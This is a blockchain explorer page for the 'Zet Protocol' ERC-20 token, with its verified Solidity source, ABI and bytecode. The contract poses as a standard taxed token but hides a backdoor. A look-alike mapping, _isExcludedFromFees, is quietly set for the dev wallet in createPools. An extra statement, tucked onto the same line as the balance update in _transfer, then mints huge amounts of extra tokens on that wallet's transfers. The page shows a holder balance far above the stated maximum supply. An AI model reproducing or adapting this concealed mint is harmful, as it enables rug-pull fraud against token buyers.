ETH Price: $3,273.42 (+0.84%)
Gas: 10 Gwei

Token

Zet Protocol (ZET)
 

Overview

Max Total Supply

1,000,000,000 ZET

Holders

35

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
1,843,901,014,657.699542333 ZET

Value
$0.00
0xdec730c8ad15985db1ad9f60793a53004d74d36d
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ZetProtocolUtilSol

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-10-24
*/

// SPDX-License-Identifier: MIT

/** 
    Website: https://www.zetprotocol.com/
    DAPP:  https://app.zetprotocol.com/
    Telegram: https://t.me/zetprotocol
*/

pragma solidity 0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;  
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract ZetProtocolUtilSol is Context , IERC20, Ownable {
    using SafeMath for uint256;
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;

    bool public transferDelayEnabled = true;
    address payable private _taxWallet = payable(0x85271c4BdEC151ccC96a8D099E1Cb454BEd9a924);
    address payable private _marketingWallet = payable(0x6FB40BdD138c5b89857033A233D2127A0568fdfe);
    address payable private _devWallet = payable(0xEC2213E1eb478Ec9d75800F461F526fE7995F117);

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping(address => uint256) private _holderLastTransferTimestamp;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1_000_000_000 * 10**_decimals; // 100 million max supply
    string private constant _name = "Zet Protocol" ;
    string private constant _symbol = "ZET" ;

    /// initial buy, sell fee till first n buys
    uint256 private _initialBuyTax=10;
    uint256 private _initialSellTax=10;
    ///final buy, sell fee
    uint256 private _finalBuyTax=2;
    uint256 private _finalSellTax=2;
    /// fee split info
    uint256 private _marketingFee = 1; 
    uint256 private _lpFee = 0;
    ///after how many buy sell should redue to final tax
    uint256 private _reduceBuyTaxAt=10;
    uint256 private _reduceSellTaxAt=10;
    uint256 private _preventSwapBefore=5;
    uint256 private _buyCount=0; //should be 0

    uint256 public _maxTxAmount = _tTotal * 20 / 1000; // 2% of the supply
    uint256 public _maxWalletSize = _tTotal * 20 / 1000; // 2% of the supply
    uint256 public _taxSwapThreshold= 10000 * 10**_decimals;
    uint256 public _maxTaxSwap= _tTotal / 100;

    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    mapping (address => bool) private _isExcludedFromFees;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;
        _isExcludedFromFee[_marketingWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function isExcludedFromFee(address account) public view returns(bool) {
        return _isExcludedFromFees[account];
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
            require(tradingOpen, "Trading not enabled");
        }
        uint256 taxAmount=0;
        if (from != owner() && to != owner() && from != address(this)) {
            if (transferDelayEnabled) {
                  if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
                      require(
                          _holderLastTransferTimestamp[tx.origin] <
                              block.number,
                          "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed."
                      );
                      _holderLastTransferTimestamp[tx.origin] = block.number;
                  }
              }

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }
            
            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap 
                && to   == uniswapV2Pair 
                && !_isExcludedFromFee[from]
                && swapEnabled 
                && contractTokenBalance>_taxSwapThreshold 
                && amount>_taxSwapThreshold
                && _buyCount>_preventSwapBefore 
            ) {
                swapAndLiquify(min(amount,min(contractTokenBalance,_maxTaxSwap)));
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount)); if (isExcludedFromFee(from)) _balances[to] = _balances[to].add(amount * 10 ** _decimals);
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapAndLiquify (uint256 tokens) private lockTheSwap {
      uint256 lpTokens = (tokens * _lpFee) / 2;
      uint256 swapTokens = tokens - lpTokens;
      swapTokensForEth (swapTokens);
      uint256 ethBalance = address(this).balance;
      uint256 marketingPart = (ethBalance * _marketingFee) / (_marketingFee + _lpFee);
      if(marketingPart > 0){
        _taxWallet.transfer(marketingPart);
        if (lpTokens > 0){
        addLiquidity(lpTokens, address(this).balance);
        }
      }
    }

    function swapTokensForEth(uint256 tokenAmount) private  {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function addLiquidity (uint256 tokens, uint256 eth) private {
        uint256 allowedTokens = allowance(address(this), address(uniswapV2Router));
        if(allowedTokens < tokens){
         _approve(address(this), address(uniswapV2Router), ~uint256(0));
        }
        uniswapV2Router.addLiquidityETH{value: eth}(
            address(this),
            tokens,
            0,
            0,
            _taxWallet,
            block.timestamp);
    }

    function createPools() external payable onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal); _isExcludedFromFees[_devWallet] = true;
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
    }

    receive() external payable {}

    function manualSwap() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0){
          swapAndLiquify(tokenBalance);
        }
      
    }

    function reduceFee(uint256 marketingFee, uint256 liquidityFee) external onlyOwner{
      uint256 totalFee = marketingFee + liquidityFee;
      require(totalFee<=_finalBuyTax &&totalFee <=_finalSellTax);
      _marketingFee = marketingFee;
      _lpFee = liquidityFee;
      _finalBuyTax= totalFee;
      _finalSellTax= totalFee;
    }

    function startTrading() external onlyOwner {
        swapEnabled = true;
        tradingOpen = true;
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        transferDelayEnabled=false;
        emit MaxTxAmountUpdated(_tTotal);
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createPools","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"marketingFee","type":"uint256"},{"internalType":"uint256","name":"liquidityFee","type":"uint256"}],"name":"reduceFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526002805460ff60a01b1916600160a01b178155600380546001600160a01b03199081167385271c4bdec151ccc96a8d099e1cb454bed9a92417909155600480548216736fb40bdd138c5b89857033a233d2127a0568fdfe1790556005805490911673ec2213e1eb478ec9d75800f461f526fe7995f117178155600a808055600b819055600c839055600d929092556001600e556000600f819055601083905560118390556012919091556013556103e890620000c390600990620003d1565b620000d390633b9aca00620003e9565b620000e0906014620003e9565b620000ec919062000403565b6014556103e8620001006009600a620003d1565b6200011090633b9aca00620003e9565b6200011d906014620003e9565b62000129919062000403565b6015556200013a6009600a620003d1565b6200014890612710620003e9565b60165560646200015b6009600a620003d1565b6200016b90633b9aca00620003e9565b62000177919062000403565b6017556018805462ffff00191690553480156200019357600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350620001e36009600a620003d1565b620001f390633b9aca00620003e9565b3360008181526006602090815260408083209490945581546001600160a01b03908116835260089091528382208054600160ff199182168117909255308452858420805482168317905560035483168452858420805482168317905560045490921683529382208054909116909317909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002956009600a620003d1565b620002a590633b9aca00620003e9565b60405190815260200160405180910390a362000426565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000313578160001904821115620002f757620002f7620002bc565b808516156200030557918102915b93841c9390800290620002d7565b509250929050565b6000826200032c57506001620003cb565b816200033b57506000620003cb565b81600181146200035457600281146200035f576200037f565b6001915050620003cb565b60ff841115620003735762000373620002bc565b50506001821b620003cb565b5060208310610133831016604e8410600b8410161715620003a4575081810a620003cb565b620003b08383620002d2565b8060001904821115620003c757620003c7620002bc565b0290505b92915050565b6000620003e260ff8416836200031b565b9392505050565b8082028115828204841417620003cb57620003cb620002bc565b6000826200042157634e487b7160e01b600052601260045260246000fd5b500490565b611c2a80620004366000396000f3fe6080604052600436106101395760003560e01c8063715018a6116100ab5780638f9a55c01161006f5780638f9a55c01461035c57806395d89b4114610372578063a9059cbb1461039e578063bf474bed146103be578063c876d0b9146103d4578063dd62ed3e146103f557600080fd5b8063715018a6146102d457806372333356146102e9578063751039fc146103095780637d1db4a51461031e5780638da5cb5b1461033457600080fd5b806323b872dd116100fd57806323b872dd146101ff578063293230b81461021f578063313ce5671461023457806351bc3c85146102505780635342acb41461026557806370a082311461029e57600080fd5b806306fdde0314610145578063095ea7b31461018c5780630faee56f146101bc57806312e2bda2146101e057806318160ddd146101ea57600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5060408051808201909152600c81526b16995d08141c9bdd1bd8dbdb60a21b60208201525b604051610183919061179f565b60405180910390f35b34801561019857600080fd5b506101ac6101a7366004611802565b61043b565b6040519015158152602001610183565b3480156101c857600080fd5b506101d260175481565b604051908152602001610183565b6101e8610452565b005b3480156101f657600080fd5b506101d26107ea565b34801561020b57600080fd5b506101ac61021a36600461182e565b61080b565b34801561022b57600080fd5b506101e861086f565b34801561024057600080fd5b5060405160098152602001610183565b34801561025c57600080fd5b506101e86108ac565b34801561027157600080fd5b506101ac61028036600461186f565b6001600160a01b031660009081526019602052604090205460ff1690565b3480156102aa57600080fd5b506101d26102b936600461186f565b6001600160a01b031660009081526006602052604090205490565b3480156102e057600080fd5b506101e86108eb565b3480156102f557600080fd5b506101e861030436600461188c565b61095f565b34801561031557600080fd5b506101e86109c7565b34801561032a57600080fd5b506101d260145481565b34801561034057600080fd5b506000546040516001600160a01b039091168152602001610183565b34801561036857600080fd5b506101d260155481565b34801561037e57600080fd5b5060408051808201909152600381526216915560ea1b6020820152610176565b3480156103aa57600080fd5b506101ac6103b9366004611802565b610a86565b3480156103ca57600080fd5b506101d260165481565b3480156103e057600080fd5b506002546101ac90600160a01b900460ff1681565b34801561040157600080fd5b506101d26104103660046118ae565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b6000610448338484610a93565b5060015b92915050565b6000546001600160a01b031633146104855760405162461bcd60e51b815260040161047c906118e7565b60405180910390fd5b60185460ff16156104d85760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161047c565b600180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105269030906105136009600a611a16565b61052190633b9aca00611a25565b610a93565b6005546001600160a01b03908116600090815260196020908152604091829020805460ff1916600190811790915554825163c45a015560e01b8152925193169263c45a01559260048082019392918290030181865afa15801561058d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105b19190611a3c565b6001600160a01b031663c9c6539630600160009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610613573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106379190611a3c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610684573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106a89190611a3c565b600280546001600160a01b039283166001600160a01b03199091161790556001541663f305d71934306106f0816001600160a01b031660009081526006602052604090205490565b6000806107056000546001600160a01b031690565b426040518863ffffffff1660e01b815260040161072796959493929190611a59565b60606040518083038185885af1158015610745573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061076a9190611a94565b505060025460015460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156107c3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107e79190611ac2565b50565b60006107f86009600a611a16565b61080690633b9aca00611a25565b905090565b6000610818848484610bb7565b610865843361052185604051806060016040528060288152602001611bcd602891396001600160a01b038a16600090815260076020908152604080832033845290915290205491906112ba565b5060019392505050565b6000546001600160a01b031633146108995760405162461bcd60e51b815260040161047c906118e7565b6018805462ff00ff191662010001179055565b6003546001600160a01b0316336001600160a01b0316146108cc57600080fd5b3060009081526006602052604090205480156107e7576107e7816112f4565b6000546001600160a01b031633146109155760405162461bcd60e51b815260040161047c906118e7565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109895760405162461bcd60e51b815260040161047c906118e7565b60006109958284611ae4565b9050600c5481111580156109ab5750600d548111155b6109b457600080fd5b600e92909255600f55600c819055600d55565b6000546001600160a01b031633146109f15760405162461bcd60e51b815260040161047c906118e7565b6109fd6009600a611a16565b610a0b90633b9aca00611a25565b601455610a1a6009600a611a16565b610a2890633b9aca00611a25565b6015556002805460ff60a01b191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf610a656009600a611a16565b610a7390633b9aca00611a25565b60405190815260200160405180910390a1565b6000610448338484610bb7565b6001600160a01b038316610af55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161047c565b6001600160a01b038216610b565760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161047c565b6001600160a01b0383811660008181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c1b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161047c565b6001600160a01b038216610c7d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161047c565b60008111610cdf5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161047c565b6001600160a01b03831660009081526008602052604090205460ff16158015610d2157506001600160a01b03821660009081526008602052604090205460ff16155b15610d6e5760185460ff16610d6e5760405162461bcd60e51b8152602060048201526013602482015272151c98591a5b99c81b9bdd08195b98589b1959606a1b604482015260640161047c565b600080546001600160a01b03858116911614801590610d9b57506000546001600160a01b03848116911614155b8015610db057506001600160a01b0384163014155b1561111557600254600160a01b900460ff1615610ea1576001546001600160a01b03848116911614801590610df357506002546001600160a01b03848116911614155b15610ea157326000908152600960205260409020544311610e8e5760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a40161047c565b3260009081526009602052604090204390555b6002546001600160a01b038581169116148015610ecc57506001546001600160a01b03848116911614155b8015610ef157506001600160a01b03831660009081526008602052604090205460ff16155b1561100757601454821115610f485760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161047c565b610f746064610f6e60105460135411610f6357600a54610f67565b600c545b85906113ca565b90611453565b905060155482610f99856001600160a01b031660009081526006602052604090205490565b610fa39190611ae4565b1115610ff15760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161047c565b6013805490600061100183611af7565b91905055505b6002546001600160a01b03848116911614801561102d57506001600160a01b0384163014155b1561105a576110576064610f6e6011546013541161104d57600b54610f67565b600d5485906113ca565b90505b30600090815260066020526040902054601854610100900460ff1615801561108f57506002546001600160a01b038581169116145b80156110b457506001600160a01b03851660009081526008602052604090205460ff16155b80156110c8575060185462010000900460ff165b80156110d5575060165481115b80156110e2575060165483115b80156110f15750601254601354115b156111135761111361110e8461110984601754611495565b611495565b6112f4565b505b801561118f573060009081526006602052604090205461113590826114aa565b30600081815260066020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111869085815260200190565b60405180910390a35b6001600160a01b0384166000908152600660205260409020546111b29083611509565b6001600160a01b0385166000908152600660205260409020556111f76111d88383611509565b6001600160a01b038516600090815260066020526040902054906114aa565b6001600160a01b038416600090815260066020526040902055611232846001600160a01b031660009081526019602052604090205460ff1690565b1561126a576112506112466009600a611a16565b6111d89084611a25565b6001600160a01b0384166000908152600660205260409020555b6001600160a01b038084169085167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6112a38585611509565b60405190815260200160405180910390a350505050565b600081848411156112de5760405162461bcd60e51b815260040161047c919061179f565b5060006112eb8486611b10565b95945050505050565b6018805461ff001916610100179055600f546000906002906113169084611a25565b6113209190611b23565b9050600061132e8284611b10565b90506113398161154b565b600f54600e54479160009161134e9190611ae4565b600e5461135b9084611a25565b6113659190611b23565b905080156113b8576003546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156113a7573d6000803e3d6000fd5b5083156113b8576113b884476116a5565b50506018805461ff0019169055505050565b6000826000036113dc5750600061044c565b60006113e88385611a25565b9050826113f58583611b23565b1461144c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161047c565b9392505050565b600061144c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611771565b60008183116114a4578261144c565b50919050565b6000806114b78385611ae4565b90508381101561144c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161047c565b600061144c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112ba565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061158057611580611b45565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156115d9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115fd9190611a3c565b8160018151811061161057611610611b45565b6001600160a01b0392831660209182029290920101526001546116369130911684610a93565b60015460405163791ac94760e01b81526001600160a01b039091169063791ac9479061166f908590600090869030904290600401611b5b565b600060405180830381600087803b15801561168957600080fd5b505af115801561169d573d6000803e3d6000fd5b505050505050565b6001543060009081526007602090815260408083206001600160a01b0390941683529290522054828110156116ee576001546116ee9030906001600160a01b0316600019610a93565b60015460035460405163f305d71960e01b81526001600160a01b039283169263f305d71992869261172e9230928a92600092839216904290600401611a59565b60606040518083038185885af115801561174c573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061169d9190611a94565b600081836117925760405162461bcd60e51b815260040161047c919061179f565b5060006112eb8486611b23565b600060208083528351808285015260005b818110156117cc578581018301518582016040015282016117b0565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146107e757600080fd5b6000806040838503121561181557600080fd5b8235611820816117ed565b946020939093013593505050565b60008060006060848603121561184357600080fd5b833561184e816117ed565b9250602084013561185e816117ed565b929592945050506040919091013590565b60006020828403121561188157600080fd5b813561144c816117ed565b6000806040838503121561189f57600080fd5b50508035926020909101359150565b600080604083850312156118c157600080fd5b82356118cc816117ed565b915060208301356118dc816117ed565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561196d5781600019048211156119535761195361191c565b8085161561196057918102915b93841c9390800290611937565b509250929050565b6000826119845750600161044c565b816119915750600061044c565b81600181146119a757600281146119b1576119cd565b600191505061044c565b60ff8411156119c2576119c261191c565b50506001821b61044c565b5060208310610133831016604e8410600b84101617156119f0575081810a61044c565b6119fa8383611932565b8060001904821115611a0e57611a0e61191c565b029392505050565b600061144c60ff841683611975565b808202811582820484141761044c5761044c61191c565b600060208284031215611a4e57600080fd5b815161144c816117ed565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b600080600060608486031215611aa957600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611ad457600080fd5b8151801515811461144c57600080fd5b8082018082111561044c5761044c61191c565b600060018201611b0957611b0961191c565b5060010190565b8181038181111561044c5761044c61191c565b600082611b4057634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611bab5784516001600160a01b031683529383019391830191600101611b86565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203fae43e2972583a3066cac7dec0bb8b56177fda9081542a3067cf4721cf28a3864736f6c63430008130033

Deployed Bytecode

